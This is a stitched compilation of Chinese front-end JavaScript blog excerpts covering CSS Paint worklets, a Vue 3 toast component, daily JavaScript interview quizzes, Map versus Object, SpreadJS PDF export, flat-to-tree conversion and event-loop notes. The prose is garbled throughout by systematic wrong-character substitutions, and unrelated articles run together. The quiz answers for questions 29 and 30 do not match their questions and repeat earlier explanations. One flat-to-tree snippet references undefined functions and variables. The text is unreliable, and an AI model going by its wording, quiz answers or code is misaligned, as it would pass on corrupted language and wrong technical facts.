Javascript

背景、 可能咱们有时候潜意识里认为, 以后理论开发中css属性曾经足够用了, 然而前段时间忽然想到:"会不会咱们只是思维被限度在了罕用的css属性中, 从而丢失了创造力", 就像创造 车 之前大多数人会认为 骑马 曾经足够快能够满足本人的需要了, 所以我专门整顿了一下本人的学习笔记并且专门去学习了一些冷门的css属性, 果然播种满满, 所以明天也要在这里把这些脑洞大开的属性较少给你, 筹备好一起来感触css的魅力吧。 一、开胃菜 css画背景图: paint 咱们开发中应用的背景图大部分是(png, webp等)图片、svg矢量图、canvas画图, 然而其实咱们也能够抉择css间接画图, 那css这种甚至都"称不上"编程语言的家伙怎么绘制简单的图片那? 1: 为元素赋予css属性div class="box"></div><style> .box { width: 180px; height: 180px; border: 1px solid; background: paint(xxxx); // 配角在此 } paint(xxxx); 这里填入的是绘图的"办法名", 往下看就晓得啥是"办法名"了, 之所以我这里写"xxxx"十分随便, 是因为我想表白这个名字轻易起。 2: 引入js文件 <script> if (window.CSS) { // 因为加载文件 须要启动server CSS.paintWorklet.addModule("./paint-grid.js"); } </script> 用法有点诡异, 但外围其实是引入了一个js文件。 3: js文件内定义导出的办法 paint-grid.js文件: registerPaint( "xxxx", // 这就是: 办法名 class { paint(context, size) { context.fillStyle = 'red'; context.fillRect(10, 10, 39, 39); } }); paint办法外面就相似canvas了, 能够失常应用局部js代码。 ...

咱们通过一个具体的例子来学习。 思考下列代码： new Dialog({ title: "{/title}", // embedded binding expression, points to a string property in the data model ... content: { // binding info object path : "/inputItems", // points to a collection in the data model template : new Input(...) }});请留神，在设置字符串值时，这些值中的任何花括号都须要本义，因而它们不会被解释为绑定表达式。 应用 #escapeSettingsValue 这样做。 除了上面记录的设置之外，ManagedObject 自身还反对以下非凡设置： id : sap.ui.core.ID 新实例的 ID。一些子类（元素、组件）要求 id 在特定范畴内是惟一的（例如，元素 ID 在所有元素中必须是惟一的，组件 ID 在所有组件中必须是惟一的）。models : object sap.ui.model.Model 实例的映射，由它们的模型名称（别名）键控。此对象中的每个键为 k 的条目与调用 this.setModel(models[k], k); 具备雷同的成果。bindingContexts : object sap.ui.model.Context 实例的映射，由它们的模型名称键控。此对象中每个键为 k 的条目与调用 this.setBindingContext(bindingContexts[k], k); 的成果雷同。objectBindings : object 由相应模型名称键入的绑定门路映射。此对象中每个键为 k 的条目与调用 this.bindObject(objectBindings[k], k); 的成果雷同。metadataContexts : object 由相应模型或上下文名称键入的单个绑定上下文数组。metadataContexts 非凡设置的目标是从控件的绑定上下文中推断出尽可能多的信息，以便可能预约义某些规范属性，例如可见，启用，工具提醒，...该构造是单个上下文的数组，其中单个上下文是蕴含以下键的映射： ...

前言：   前两天在我的项目中很多场景下都须要用到一个toast弹窗，我的项目应用的是ionic+tialwind_Css，ionic也有自带的toast弹窗，尽管大部分场景下间接调用它提供的api曾经能满足需要了，然而它弹窗的高度，（也就是弹窗呈现的地位）并不是高度自定义的，并且弹窗的z-index在咱们我的项目中会和一些组件抵触，然而这个之前始终没有方法解决，所以罗唆本人手写了一个应用办法高度相似ionic_Toast的组件。 这个组件也是我第一次在vue3下实现的，也查阅了很多网上相干的文章，也受到很多启发灵感，所以本人汲取精髓去其糟粕来实现了一版个人感觉应用起来很不便的一个版本，特来记录一下实现的过程，心愿能够帮忙到遇到同样蛊惑的人。 tips:(本篇文章不会上手就教你款式怎么写，代码怎么写，而是会帮你逐步一步步了解相干额定的常识。会以“如果我是一个初学者，如果过后有人这样通知我的话，我就大略能听明确”的角度去解释。所以篇幅较长，如果想间接看组件的实现，可间接跳转到题目三） 在这里祝大家中秋节高兴呀～～ 上面是注释： 一. 前置工作：JSX和渲染函数的概念想要实现这个需要，你须要理解一下题目的那两个概念。官网文档在这里，外面的话语太过于“业余和官网”，导致我刚开始看的时候十分蛊惑，所以在这里我会帮你去了解外面的一些很官网的语言，让你疾速有个认知。原地址在这里：vue官网文档JSX和渲染函数。 咱们暂且还不须要去深刻了解渲染机制的整个流程。所以官网上面个链接暂且不要去查阅，会让你越来越头晕。但在这里我要阐明一点，接下来讲的内容都是建设在我默认你对虚构DOM的概念有肯定的理解。紧接就写到了Vue为咱们提供了一个函数，来创立vnodes。在浏览这个页面的时候，肯定留神官网在每个代码右上角的文件类型。 这里须要插个必须要理解的题外话，理解React的同学肯定晓得JSX这种写法 Vue里JSX的概念和React的JSX的概念是极其类似的。Vue也是借鉴了React的这个思维，这里咱们重点看画线的这句话。（不相熟react的小伙伴也不要放心，本文实现的Toast并没有应用到JSX和babel。） 是不是感觉和刚刚Vue官网写的很类似？ 官网在上文也提到了h是什么。如果咱们把h换成createVnode()，是不是就和React.createElement的用法及其类似了呢？ 其实不论是Vue的h()，还是React.createElement() 它们最终要达到的目标只有一个：创立虚构DOM。而这也对应了Vue中createVnode的Vnode其实就是virtual node的意思。函数名的间接翻译其实也就是创立虚构节点。而JSX只是创立虚构dom的语法题而已，仅此而已，并没有什么特别之处。二. createVnode函数的意义当初咱们在 .Vue文件写如下代码。 非常简单的构造，一个id是"hanzhenfang"的div标签，标签内容是我的名字。ok，这样写的话，vue就会帮咱们将这个构造转换为虚构dom。实质上是应用了 h("div",{id:"hanzhenfang"},"韩振方")h()能够有多个参数， 这段代码是在<template>标签内写的，它底层其实还是应用了h() 函数去实现的。说白了就是，React选用JSX来作为渲染虚构dom函数的语法糖。而<template>标签是Vue采纳的渲染虚构dom的语法糖。 从而能够引出官网的规范解释： 你可能会疑难了，既然模板能够实现这样的性能，那我间接写模版不就完事了吗？还须要写什么h() 函数呢？因为有的场景的确是模板做不到的。这也就是我为什么会写这篇文章的起因，因为这个toast需要应用的场景很多很多，我总不能在每个中央都引入一个组件通过v-if来管制它的显示和敞开吧？十分繁琐和麻烦。三. 编写Toast组件（不应用tsx）首先创立一个toast.vue文件写出大抵款式。因为是应用tailwindCss，所以款式书写的形式可能和传统的在style标签写款式不太一样，然而原理是一样的，不必放心。实现如下： toast在绝大场景下都是居中的，并且脱离文档流，位于整个页面的最顶部，所以我这里采纳了传统的相对定位的计划。 相对定位最简略居中计划不过与设置top和left各50%。然而咱们不要疏忽了一点，偏移的时候，咱们还要减去本身宽度和高度的一半，才能够做到齐全居中。然而处于复用性思考，咱们的toast的宽度是不能设置固定宽度的，具体的宽度是由过后文字的大小决定的。 这时候咱们须要用到offsetWidth1.额定技能补充 offsetWidth先让咱们看看MDN如何解释的。 具体什么意思呢？咱们顺手写一个很简略的template。 咱们当初不加任何Css属性，来查看一下offsetWidth是什么值。 不要把调试工具只当成console.log的中央，肯定利用好这个工具。咱们抉择刚刚写的元素，点击调试工具选项栏的Properties标签。 能够看到offsetWidth目前是20（留神，这是一个十进制的number类型，并不带单位，并且是一个只读属性，无奈间接更改。）20是怎么来的呢？其实它就是咱们设置的字体大小。 来验证一下猜测，咱们设置一下字体大小为15px 当初给这个div加上10px宽度的border。 别着急看offsetWidth的值，咱们依据它的定义猜测一下。 应该等于15px的字体大小+10px? 确定吗，别忘了border是上下左右都为10px，所以依据猜测`offsetWidht=15px + 10px + 10px 如果这个div咱们本人设定宽度呢？咱们来给它设定100px的宽度。 咱们会发现offsetWidth的值变成了100 然而我明明有还有10px的border啊！哪里去了？ 你是否忘了咱们当初大部分状况下应用的都是box-size:border-box呢？设置的宽度是蕴含border的。 验证一下，咱们扭转一下box-size的类型。 能够看进去，offsetWidth就变成了100px+10px+10px Tips：不过在本文中不会设置定宽去限度 四. Toast居中的思路1.当初咱们能够不设置Toast的宽度，并且拿到依据文字数量不同所变动的宽度。因为这个属性是组件挂载结束当前才有的属性，那么咱们能够在onMounted里拿到。首先须要拿到元素自身，这里采纳打ref的形式。 ...

每日3题31 对于AMD、CMD标准区别说法正确的是？（多选）A.AMD标准：是 RequireJS在推广过程中对模块定义的规范化产出的B.CMD标准：是SeaJS 在推广过程中对模块定义的规范化产出的C.CMD 推崇依赖前置;AMD 推崇依赖就近D.CMD 是提前执行;AMD 是提早执行E.AMD性能好,因为只有用户须要的时候才执行;CMD用户体验好,因为没有提早,依赖模块提前执行了 32 以下代码执行后，控制台中的输入内容为？console.log(['1','2','3'].map(parseInt));33 以下代码执行后，控制台中的输入内容为？const person = { name: "leo" };function say(age) { return `${this.name} is ${age}`;}console.log(say.call(person, 5));console.log(say.bind(person, 5));公众号【明天也要写bug】，每日更新前端面试题答案及解析31 答案 AB考查 AMD 和 CMD 标准的理解C. CMD 推崇依赖就近，AMD 推崇依赖前置D. CMD 是提早执行，AMD 是提前执行E. CMD 性能好，因为只有用户须要的时候才执行，AMD 用户体验好，因为没有提早，依赖模块提前执行了32// 答案：[1, NaN, NaN]// 考查 map 办法和 parseInt 办法// map 办法承受两个参数：callback 和 thisArg// callback 承受 3 个参数：currentValue、index、array// parseInt 承受 2 个参数：string、radixconsole.log(["1", "2", "3"].map(parseInt));// 此处 parseInt 即为 callback// 所以 parseInt 的两个参数为：currentValue、index// 等价于：console.log( ["1", "2", "3"].map((currentValue, index) => parseInt(currentValue, index)));// currentValue='1'时，index=0，parseInt('1', 0)=1// 波及 parseInt 的非凡状况，当 parseInt 的第二个参数未指定或为0，第二个参数会自行推断// 依据推断规定（详见MDN），parseInt('1', 0)=parseInt('1', 10)=1// currentValue='2'时，index=1，parseInt('2', 1)=NaN，radix 不等于0 且 不在 2～36 之间，则后果为 NaN// currentValue='3'时，index=2，parseInt('3', 2)=NaN，因为 3 不是无效的 2 进制数// 当 radix 是无效的值(2~32)，待转换的字符串的每一位必须是无效的 radix 进制数33// 答案：leo is 5 和 一个函数// 考查 call 和 bind 的区别// call 和 apply 返回的是指定 this 和参数后调用函数的值（是后果）// bind 返回的是指定 this 和参数后的函数的拷贝（是函数）const person = { name: "leo" };function say(age) { return `${this.name} is ${age}`;}console.log(say.call(person, 5));console.log(say.bind(person, 5));

本文首发于微信公众号：大迁世界, 我的微信：qq449245884，我会第一工夫和你分享前端行业趋势，学习路径等等。更多开源作品请看 GitHub https://github.com/qq449245884/xiaozhi ，蕴含一线大厂面试残缺考点、材料以及我的系列文章。在 JavaScript 中，对象是很不便的。它们容许咱们轻松地将多个数据块组合在一起。 在ES6之后，又出了一个新的语言补充-- Map。在很多方面，它看起来像是一个性能更强的对象，但接口却有些蠢笨。 然而，大多数开发者在须要 hash map 的时候还是会应用对象，只有当他们意识到键值不能只是字符串的时候才会转而应用 Map。因而，Map 在当今的 JavaScript 社区中依然没有失去充沛的应用。 在本文本中，我会列举一些应该更多思考应用 Map 的一些起因。 为什么对象不合乎 Hash Map 的应用状况在 Hash Map 中应用对象最显著的毛病是，对象只容许键是字符串和 symbol。任何其余类型的键都会通过 toString 办法被隐含地转换为字符串。 const foo = []const bar = {}const obj = {[foo]: 'foo', [bar]: 'bar'}console.log(obj) // {"": 'foo', [object Object]: 'bar'}更重要的是，应用对象做 Hash Map 会造成凌乱和安全隐患。 不必要的继承在ES6之前，取得 hash map 的惟一办法是创立一个空对象： const hashMap = {}然而，在创立时，这个对象不再是空的。只管 hashMap 是用一个空的对象字面量创立的，但它主动继承了 Object.prototype。这就是为什么咱们能够在 hashMap 上调用hasOwnProperty、toString、constructor 等办法，只管咱们从未在该对象上明确定义这些办法。 因为原型继承，咱们当初有两种类型的属性被混同了：存在于对象自身的属性，即它本人的属性，以及存在于原型链的属性，即继承的属性。 因而，咱们须要一个额定的查看（例如hasOwnProperty）来确保一个给定的属性的确是用户提供的，而不是从原型继承的。 除此之外，因为属性解析机制在 JavaScrip t中的工作形式，在运行时对 Object.prototype 的任何扭转都会在所有对象中引起连锁反应。这就为原型净化攻打关上了大门，这对大型的JavaScript 应用程序来说是一个重大的平安问题。 ...

背景在计量畛域中，计量检定是一种重要模式，次要用于评定计量用具的计量性能，确定其量值是否精确统一，实现伎俩包含计量测验、出具检定证书和加封盖印等。在检定证书这一环节，存在一个难点，就是无奈在线预览以及智能生成。 1、证书治理不能满足用户精准打印、特殊字符或多页打印的需要。因为在计量行业中，精密仪器较多，往往会存在一些特殊字符的利用或者会应用某些较为简单的测量单位。2、零碎不反对批量证书更新以及批量打印等性能，在常见的场景中，出具证书是须要进行批量导出的过程。3、无奈满足实时打印预览或者PDF预览，这样直至打印前都无奈确定打印的格局、范畴等是否合乎需要。在这篇分享中，咱们将帮忙大家着重解决两个问题： 1、在浏览器中生成PDF文件；2、解决中文以及特殊字符导出PDF乱码的问题。 在浏览器中生成PDF文件。前端生成PDF文件纯依赖于客户端的浏览器资源，对于不同的终端，导出PDF的难度会比服务端有所增加。市面上支流的浏览器有三四家，例如Chrome、Safari、FireFox等，每个浏览器对于文字内容、CSS属性解决都不统一，有可能某些配置在某个浏览器上可行，换了一个浏览器之后就有可能天差地别。另外，对于原生的PDF文件来说，仅蕴含英文字体，不蕴含任何中文字体，因而当导出的内容中含有中文字体编码时，就会显示乱码，所以通常状况下，咱们都须要为PDF进行字体注册操作。 前端常见导出PDF办法目前罕用的前端生成PDF文件的办法大抵有以下几种。1、HTML2Canvas的办法将HTML 转换成图片后，在将图转PDF文件。这种办法比拟适宜繁多页面。2、jsPDF 间接H5转成PDF。 除了上述的计划之后，应用SpreadJS间接在线设计布局，并且能够间接生成PDF文件。 带来的益处是什么呢？可视化的操作、代码量少并且能够适配不同的浏览器环境。当然也会有肯定的毛病，对于字体较多的文件，须要注册不同的字体，字体文件越大，占用的带宽就越大。另外，当文件比拟大的时候，有可能会存在性能问题，不过这个也简直是前端导出PDF文件的一个瓶颈。那么较为理想的计划便是能够在前端（SpreadJS）设计、展现，最初交由后端来独自导出或者批量导出。 在浏览器中生成PDF文件介绍了那么多，咱们还是回到本篇文章的主题，如何通过前端来生成PDF文件。须要用到SpreadJS以及导出PDF相干的性能，首先须要在页面上引入相干的资源。 而后创立一个用于承载表格实例的DOM。 初始化表格控件并加载已设计好的表单，或者也能够通过setValue的接口实现简略的赋值操作。 想要表单依照指定的要求导出，能够通过代码设置打印相干的配置，也能够用设计器来进行设计。上面是配置打印信息相干的代码。 最初，通过调用savePDF办法，将工作簿对象转为blob，咱们能够通过window.open来进行pdf的预览或者通过一些保留文件的插件间接将这个blob保留为PDF文件。 这是open之后的成果，咱们能够间接通过浏览器导出PDF文件或者是调用浏览器的打印接口实现打印。(demo在附件名为PDF文件夹) 解决中文以及特殊字符导出PDF乱码正如后面所说的，在国内，应用中文的报告是一件再常见不过的事，在计量检测等相干场景，特殊字符的应用也较多。在没注册对应的字体之前，导出的中文字体和非凡字体都显示的是乱码。因而，还须要解决导出中文以及特殊字符PDF乱码的问题。 后面提到了注册字体，那咱们的字体应该怎么来？要什么格局的字体呢？首先，先确认咱们的表单须要用到哪些字体，而后去找对应字体的ttf文件（电脑上或者是一些字体网站上都有，需注意版权问题）。找到之后将其转为base64格局的文件。具体如何转，能够找一些在线的文件转换器，不过在线的有可能会因为字体文件太大而解体，或者有能力的大佬能够本人写一个转换的工具。而后通过上面的形式去把咱们的字体文件存储为一个js文件放到咱们的我的项目中。 初始化表单这些就和下面的操作基本一致了，上面就是要害的注册字体步骤了。咱们定义了一个font对象，外面只定义了惯例（normal）的字体，外面的simkai.ttf就是咱们下面的创立的字体文件。 还有一点须要留神的是，尽管注册了字体，然而要设置对应的中文字体。或者换过来说，你须要在表单上设置什么字体，就去注册对应的字体。那咱们再来看看特殊字符，注册字体与中文字体的步骤是统一的，非凡在于为了想要在页面上显示特殊字符，咱们须要通过css的font-face来指定一个font-family。例如创立了一个叫sunway-font的非凡字体，想要在页面上显示。 最初就是通过savePDF办法导出PDF文件，能够看到PDF的中文和特殊字符都能够失常显示。 怎么样？学“废”了吗？无妨试试，“卷”起来。 本文所用代码下载地址：https://gcdn.grapecity.com.cn... 更多在线demo示例代码：https://demo.grapecity.com.cn...

每日3题28 以下代码执行后，控制台中的输入内容为？function showCase(value){ switch(value){ case 'A': console.log('case A'); break; case 'B': console.log('case B'); break; case undefined: console.log('undefined'); break; default: console.log('Do not know'); }} showCase(new String('A'));29 以下代码执行后，控制台中的输入内容为？function f(){}const a = f.prototype, b = Object.getPrototypeOf(f); console.log(a===b);30 以下代码执行后，控制台中的输入内容为？console.log(typeof null)console.log(null instanceof Object)公众号【明天也要写bug】更多前端面试题答案与解析28// 答案：Do not know// 考查根本字符串、字符串对象和 switch// 字符串字面量是 string 类型// 字符串对象是 object 类型// switch 应用严格运算符（===）来进行比拟// 在上面 switch case 没有匹配的 case，因而走的是 defaultfunction showCase(value) { switch (value) { case "A": console.log("case A"); break; case "B": console.log("case B"); break; case undefined: console.log("undefined"); break; default: console.log("Do not know"); }}showCase(new String("A"));29// 答案：不会// 考查 eval 函数// 因为 eval 会坑骗词法作用域，例如 function test(){eval("var a=1")}，创立一个 a 变量// JS 引擎不确定 eval 是否对 a 进行了援用，所以为了保险，不对其进行优化。// 类似地，try catch 和 with 也会有同样的问题// 不倡议应用 eval 和 withfunction test() { var a = 1; return function () { eval(""); };}test();30// 答案：1 报错// 考查 reduce 办法的应用// reduce 承受两个参数：回调函数和初始值// 若不提供初始值，则以数组第一个元素作为初始值，并且回调函数从数组第二个元素开始调用// 提供初始值，则回调从数组第一个元素开始调用// 回调函数承受4个参数：previousValue、currentValue、currentIndex、array（即遍历的数组）console.log([2, 1, 0].reduce(Math.pow));// 执行步骤如下：初始值：2// 第 1 次调用回调的入参：previousValue=2，currentValue=1，Math.pow 只承受2个参数，后果 2^1=2// 第 2 次调用回调的入参：previousValue=2，currentValue=0，Math.pow 只承受2个参数，后果 2^0=1console.log([].reduce(Math.pow));// 如果数组为空并且没有提供初始值，reduce 间接抛出谬误

面试了十几个高级前端，居然连（扁平数据结构转Tree）都写不进去具体题目详情点击下面查看，树转扁平做得多，扁平转树还真没写过。有意思。上午看到做个笔迹记录下。扁平数据如下： let arr = [ {id: 1, name: '部门1', pid: 0}, {id: 2, name: '部门2', pid: 1}, {id: 3, name: '部门3', pid: 1}, {id: 4, name: '部门4', pid: 3}, {id: 5, name: '部门5', pid: 4},]输入后果如下，有限层级的树： [ { "id": 1, "name": "部门1", "pid": 0, "children": [ { "id": 2, "name": "部门2", "pid": 1, "children": [] }, { "id": 3, "name": "部门3", "pid": 1, "children": [ // 后果 ,,, ] } ] }]本人写的解答办法const flap2Tree = (flapArr)=>{ //递归依据pid找父 const findByPid = (pid, data)=> { for(let i=0; i<data.length; i++){ if( data[i].id === pid ) { return data[i]; }else if(data[i].children && data[i].children.length){ return pidFindParent(pid, data[i].children); } } } let resTree = []; flapArr.forEach( t => { let myParent = findByPid(t.pid, afterArr); if(myParent){ myParent.children || (myParent.children = []); //初始化 myParent.children.push(t); }else{ resTree.push(t); } }) return resTree;}flap2Tree(arr);学习博主最优性能办法function arrayToTree(items) { const result = []; // 寄存后果集 const itemMap = {}; // for (const item of items) { const id = item.id; const pid = item.pid; if (!itemMap[id]) { itemMap[id] = { children: [], } } itemMap[id] = { ...item, children: itemMap[id]['children'] } const treeItem = itemMap[id]; if (pid === 0) { result.push(treeItem); } else { if (!itemMap[pid]) { itemMap[pid] = { children: [], } } itemMap[pid].children.push(treeItem) } } return result;}

大家好，我是杨胜利。 后面写了一篇文章，介绍了如何用 Node.js + 钉钉 API 实现考勤打卡间断揭示的小工具。有的同学留言说为什么不间接调用钉钉 API 主动打卡（这个我也想过）。惋惜我翻遍了钉钉的文档都没有找到这个 API。 再说了，怎么可能有这个 API 呢？想啥呢？ 还有的同学严格的指出了问题：“我销假了你还始终揭示？token 用几个小时就过期！”。针对这两个问题，咱们在上次实现代码的根底上进行优化，增加两个逻辑： 获取未打卡的人员时，过滤已销假人员当 token 过期时，主动刷新 token如果没有看过上篇文章，请先看打卡小工具第一篇，源代码在GitHub。 接下来咱们一起实现新增的需要，优化打卡性能。 过滤已销假人员应用钉钉 API 能够获取一些人员的打卡状态。目前咱们的做法是，将须要检测打卡状态的人员（咱们全组人员）的 userid 保护在一个列表中，而后获取到这些人的打卡数据，从而筛选出未打卡的人员。 非凡状况是，假如咱们组的一个组员明天销假了，他会被当做未打卡人员进行一直揭示。其实咱们须要将已销假的人员排除在外，第一步是要获取今日已销假的人员。 获取销假状态的 API 如下： API 地址：${baseURL}/topapi/attendance/getleavestatus 申请办法：POST 文档地址：这里这个 API 的申请体是一个对象，对象的属性如下： userid_list：查问销假状态的 userid 列表start_time：查问开始工夫（当天上班时间）end_time：查问完结工夫（当天下班时间）size：返回条数，最大 20offset：分页，从 0 开始将获取销假状态写为一个独自的办法，代码如下： const dayjs = require('dayjs');const access_token = new DingToken().get();// 获取销假状态const getLeaveStatus = async (userid_list) => { let params = { access_token, }; let body = { start_time: dayjs().startOf('day').valueOf(), end_time: dayjs().endOf('day').valueOf(), userid_list: userid_list.join(), // userid 列表 offset: 0, size: 20, }; let res = await axios.post(`${baseURL}/topapi/attendance/getleavestatus`, body, { params }); if (res.errcode != 0) { return res; } else { return res.result.leave_status.map((row) => row.userid); }};执行以上办法后，就能够获取到当天已销假的用户。接着在所有须要检测打卡状态的用户列表中，过滤掉已销假的用户： ...

每日3题25 以下代码执行后，控制台中的输入内容为？let a = { i: 0, [Symbol.toPrimitive]: () => ++a.i,};console.log(a == 1 && a == 2 && a == 3);26 变量 a 会被 GC 吗，为什么？function test(){ var a = 1; return function(){ eval("") }} test();27 以下代码执行后，控制台中的输入内容为？console.log([2, 1, 0].reduce(Math.pow));console.log([].reduce(Math.pow));公众号【明天也要写bug】， 获取更多前端面试题答案与解析25// 答案：true// Symbol.toPrimitive 是一个内置的 Symbol 值，// 它是作为对象的函数值属性存在的，当一个对象转换为对应的原始值时// 如果该函数存在，则会调用此函数。let a = { i: 0, [Symbol.toPrimitive]: () => ++a.i,};console.log(a == 1 && a == 2 && a == 3);// == 会触发类型转换，而且咱们定义了 Symbol.toPrimitive 办法// 所以 a == 1 触发该办法返回 1，并且 a.i 变为 1，所以 a == 1 为 true，// 同理 a == 2 和 a == 3 均为 true26// 答案：不会// 考查 eval 函数// 因为 eval 会坑骗词法作用域，例如 function test(){eval("var a=1")}，创立一个 a 变量// JS 引擎不确定 eval 是否对 a 进行了援用，所以为了保险，不对其进行优化。// 类似地，try catch 和 with 也会有同样的问题// 不倡议应用 eval 和 withfunction test() { var a = 1; return function () { eval(""); };}test();27// 答案：1 报错// 考查 reduce 办法的应用// reduce 承受两个参数：回调函数和初始值// 若不提供初始值，则以数组第一个元素作为初始值，并且回调函数从数组第二个元素开始调用// 提供初始值，则回调从数组第一个元素开始调用// 回调函数承受4个参数：previousValue、currentValue、currentIndex、array（即遍历的数组）console.log([2, 1, 0].reduce(Math.pow));// 执行步骤如下：初始值：2// 第 1 次调用回调的入参：previousValue=2，currentValue=1，Math.pow 只承受2个参数，后果 2^1=2// 第 2 次调用回调的入参：previousValue=2，currentValue=0，Math.pow 只承受2个参数，后果 2^0=1console.log([].reduce(Math.pow));// 如果数组为空并且没有提供初始值，reduce 间接抛出谬误

做流程图的展现，本地运行没有问题，vite打包到线上报错如下，呈现问题 控制台报错：] 起因是npm包的问题，外部用的require，然而vite默认不反对require 能够看到graphlib的援用过程如下： 拿不到dagre，而后就去找了window下的dagre，所以是undefind，最初我是把dagre.min.js放到了index.html模板外面绝对路径引入的，这样dagre就被放到了window下，于是就解决了。

每日3题22 以下代码执行后，控制台中的输入内容为？var a = [1, 2, 3];a.join = a.shift;console.log(a == 1 && a == 2 && a == 3);23 以下代码执行后，控制台中的输入内容为？var arr = [0, 1];arr[5] = 5;var newArr = arr.filter((x) => { return x === undefined;});console.log(newArr.length);24 以下代码执行后，控制台中的输入内容为？const value = 'value is' + !!Number(['0']) ? 'aaa' : 'bbb';console.log(value);公众号【明天也要写bug】获取更多前端面试题答案与解析22// 答案：true// 考查强制类型转换// == 操作会进行强制类型转换// 如果操作数之一是对象，另一个是数字或字符串，// 会尝试应用对象的valueOf()和toString()办法将对象转换为原始值。// 如果 valueOf 返回根本类型，就按该值进行转换，否则按 toString 的返回值转换// 数组的 valueOf 返回它自身，所以按 toString 的返回值进行转换// 对于数组对象，toString 办法在外部调用 join() 办法var a = [1, 2, 3];a.join = a.shift; // 在数组 a 上定义了一个 join 办法，并且该办法是 shift 的性能console.log(a == 1 && a == 2 && a == 3);// a == 1，触发类型转换// 触发 a.toString() 外部调用 a.join()，即 a.shift() 返回 1，同时 a 变为 [2, 3]// 所以 a == 1 为 true// 同理 a == 2 和 a == 3 都为 true23// 答案：0// 考查数组的 filter 办法// filter() 办法创立一个新数组，其蕴含通过所提供函数实现的测试的所有元素。// filter 为数组中的每个元素调用一次传入的回调函数，// 并利用所有使得回调函数返回 true 或等价于 true 的值的元素创立一个新数组。// 回调函数只会在曾经赋值的索引上被调用，对于那些曾经被删除或者从未被赋值的索引不会被调用。var arr = [0, 1];arr[5] = 5; // 间接为索引 5 的元素赋值为 5，跳过的几个元素均为 'empty'，这些索引不会触发回调函数var newArr = arr.filter((x) => { return x === undefined;}); // 所以这里没有元素等于 undefinedconsole.log(newArr.length); // 输入 024// 答案：aaa// 考查运算符优先级和强制类型转换// 优先级：函数调用 > ! > + > 三元运算符//const value = "value is" + !!Number(["0"]) ? "aaa" : "bbb";console.log(value);// Number('0') => 0// !0 触发类型转换 => true，这些值会被转换成 false：null、NaN、0、空字符串 ("" or '' or ``)、undefined// !true => false// 'value is' + false => 'value isfalse'// 条件运算符触发类型转换 => 'value isfalse' 转换为 true// 最终输入 aaa

JavaScript 的代码是运行在单线程上的，也就是说同一时刻只能有一个操作被执行。这样的益处是不必思考并发问题，只需关注写得代码不要阻塞线程。 通常状况，大多数浏览器当你关上一个tab就会开启一个Event Loop，而且每个网页之间是断绝的，能够避免出现阻塞线程时导致整个浏览器卡死。 如果你对之前提到的异步、同步还有印象，那么咱们能够这样认为：阻塞的办法是以同步执行（synchronously），非阻塞办法以异步模式执行（asynchronously）。 以 Node.js 的文件操作为例： // 1. 应用同步的形式读取文件const fs = require('fs');const data = fs.readFileSync('/file.md'); // 程序会始终阻塞晓得文件读取实现console.log(data);moreWork(); // 直到下面的console.log执行完 能力做其余的工作// 2. 应用异步模式读取文集const fs = require('fs');fs.readFile('/file.md', (err, data) => { if (err) throw err; console.log(data);});moreWork(); // 在console.log之前就能够做其余工作Blocking/Non-Blocking如果读取的文件很大，在读取实现之前，同步模式的代码将不能向下执行，这时就产生了阻塞。 Node.js应用回调来防止程序产生阻塞，使程序能够同一时间解决更多的工作。 咱们思考这样一种状况：每个对 Web 服务器的申请须要 50 毫秒实现，而那 50 毫秒中的 45 毫秒是能够异步执行的数据库 I/O。抉择 非阻塞 异步操作能够开释每个申请的 45 毫秒来解决其它申请。仅仅是抉择应用 非阻塞 办法而不是 阻塞 办法，就能造成并发的显著差别。 事件循环不同于许多其余语言的模型，其它语言创立额定线程来解决并发工作。Node.js 提供了一系列的异步I/O办法来防止线程阻塞。 如何防止线程阻塞？JavaScript中简直所有的I/O操作都是非阻塞的（Non-Blocking），比方：网络申请，文件系统操作。这也是JavaScript十分依赖于回调函数（Callbacks）、Promises、Async/Await 的起因。 咱们在编程时应用下面的办法就能够无效防止线程阻塞。 参考链接https://nodejs.org/en/docs/gu... 文章首发于 IICOOM-集体博客 《JavaScript阻塞与非阻塞》

要了解JS中的异步、同步，须要先理解JS代码的执行过程和Event Loop。JavaScript代码的执行过程程序须要执行的操作都会被放入Call Stack(A LIFO (Last In, First Out) Stack)，先进后出的数据结构。 const bar = () => console.log('bar')const baz = () => console.log('baz')const foo = () => { console.log('foo') bar() baz()}foo()当这段代码执行时，foo()会首先被调用。在foo()外部先调用了bar()，而后调用了baz()。在这个时刻Call Stack 是上面的样子： 执行每一步操作都有新的操作压入栈顶，执行结束就从栈顶弹出，直到整个栈变为Empty。 Event Loop 起到的作用就是每次迭代都回去查看Call Stack中是否有待执行的指令，而后去执行它。 JavaScript中的异步、同步同步执行代码大多数的状况下，JavaScript是以同步的模式执行代码： let log = console.log;let a = 5;let b = 50;let a1 = function() { return 5 }let b1 = function() { return 50 }log(a1())log(a2())let a2 = function(num) { return 5*num }let b2 = function() { return 50 }log(a2(b2))// 打印出：// 5// 50// 250异步执行的代码setTimeout, callbacks, Promise, fetch, ajax, filesystem interaction, database calls, DOM event listener ...

依据阮一峰的博客做的学习笔记 // map 构造的数据是由键值对组成的，与 Object 的区别就是 map 能够应用各种类型的数据作为键值 // 能够应用 键(值) - 值 的形式 //一个 map 的数据 const mapData = new Map() mapData.set(name, 'dddaaa') //给 map 增加属性 const obj = {name: 'dddaaa'} console.log('map',mapData.get(name)); //获取属性对应的数据 输入 dddaaa console.log('obj',obj.name); //输入 dddaaa //一些测试 mapData.set(obj, 'delete me') //将上方新建的 obj 对象作为键值 console.log('set', mapData.get(obj)); //删除 obj 键值数据 mapData.delete(obj) //应用 delete 删除 map 的一个属性 console.log('del', mapData.get(obj)) //因为 obj 对应的数据曾经被删除了，输入 undefined /** * map数据给同一个键屡次赋值，前面的会将后面的笼罩掉 * size 属性会返回 map 数据外面的成员总数 * set 属性用于给 map 数据增加成员 * get 属性用于获取 map 数据对应键名的值 * has 用于判断 map 数据中是否有该键名的成员 * delete 用于删除 map 数据中对应键名的成员，删除胜利返回 true 否则返回 false * clear 用于革除 map 数据中的所有成员，无返回值 * * map 的遍历办法 * Map.prototype.keys()：返回键名的遍历器。 * Map.prototype.values()：返回键值的遍历器。 * Map.prototype.entries()：返回所有成员的遍历器。 * Map.prototype.forEach()：遍历 Map 的所有成员。 * */ mapData.set('z', 'zzz') mapData.set(145, 'asjdhjk') mapData.set(true, 'zxjchx') mapData.forEach(item => { console.log('forEach', item); //会间接输入 map 里的值，不会输入键名 == values }) console.log('keys', mapData.keys()); //输入 MapIterator {'', 'z', 145, true} for (let keys of mapData.keys()) { //mapData.keys() 会返回 map 数据所有的键名 console.log('key',keys); //输入每一个键 }

